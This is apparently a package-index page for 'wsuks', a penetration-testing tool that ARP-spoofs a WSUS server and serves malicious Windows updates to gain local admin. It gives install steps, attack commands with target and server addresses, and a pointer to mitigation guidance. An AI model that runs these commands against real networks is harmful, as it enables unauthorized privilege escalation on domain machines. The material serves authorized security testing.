A Tool for automating the MITM attack on the WSUS connection
Project description
wsuks
Weaponizing the WSUS Attack
Gaining local administrative access on a Windows machine that is part of a domain is typically the initial step towards acquiring domain admin privileges during a penetration test. In order to exploit the WSUS attack automatically, this tool spoofs the IP address of the WSUS server within the network using ARP, and when the client requests Windows updates, it provides its own malicious updates instead. By default, a Windows client requests updates every 24 hours.
Both the executable file served (Default: PsExec64.exe) and the executed command can be changed as needed.
Prerequisits:
- The target Client must be on the local network
- The Windows Server Update Service (WSUS) must be configured using HTTP
Result:
- After successful execution the user provided will be added to the local admin group. If no user was specified a user with the format user[0-9]{5} (e.g. user12345) and a random password will be created
Installation
Using pipx (recommended):
sudo apt install python3-pipx
pipx ensurepath
pipx install wsuks
sudo ln -s ~/.local/pipx/venvs/wsuks/bin/wsuks /usr/local/bin/wsuks
Using poetry:
sudo apt install python3-poetry
git clone https://github.com/NeffIsBack/wsuks
cd wsuks
sudo poetry install
Usage
❗wsuks must be run as root❗
Using pipx you can simply run sudo wsuks ...
anywhere on the system.
Using poetry you must be in the wsuks folder and begin every command with sudo poetry run wsuks ...
Specify known WSUS-Server and create local admin user:
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20
Specify known WSUS-Server and add provided domain user to local admin group (Domain is required!):
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20 -u User -p Password -d Domain.local
Autodiscover the WSUS-Server by only specifying the domain user with the dc-ip:
sudo wsuks -t 10.0.0.10 -u User -p Password -d Domain.local --dc-ip 10.0.0.1
About & Mitigation
In the PyWSUS Repository from GoSecure you can find a great documentation how to you could detect and mitigate this attack. They also wrote a great Guide demonstrating how this attack works in detail here.
This Tool is based on the following projects:
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
File details
Details for the file wsuks-0.4.2.tar.gz
.
File metadata
- Download URL: wsuks-0.4.2.tar.gz
- Upload date:
- Size: 762.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: poetry/1.3.2 CPython/3.11.4 Linux/6.3.0-kali1-amd64
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 8b909a8beba7f283cb6181156c78b5203100e0808b2e46c1c676d9efb8f8e060 |
|
MD5 | c0995ce64576f978900613eed7f52780 |
|
BLAKE2b-256 | 604f8ece78d696e74c14545f20349456e8b5b7d8dc5944dc473bb42abbc57336 |
File details
Details for the file wsuks-0.4.2-py3-none-any.whl
.
File metadata
- Download URL: wsuks-0.4.2-py3-none-any.whl
- Upload date:
- Size: 770.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: poetry/1.3.2 CPython/3.11.4 Linux/6.3.0-kali1-amd64
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | e7fe3d985c104eabd8f462949cd84b1af563128fc4fb92053f04602582dc79af |
|
MD5 | a8fdb11a9fab64801aff942551e9eecf |
|
BLAKE2b-256 | 48885c23274228a4bab3fe69c93fd024963681297d7126c59d0803b165bfb019 |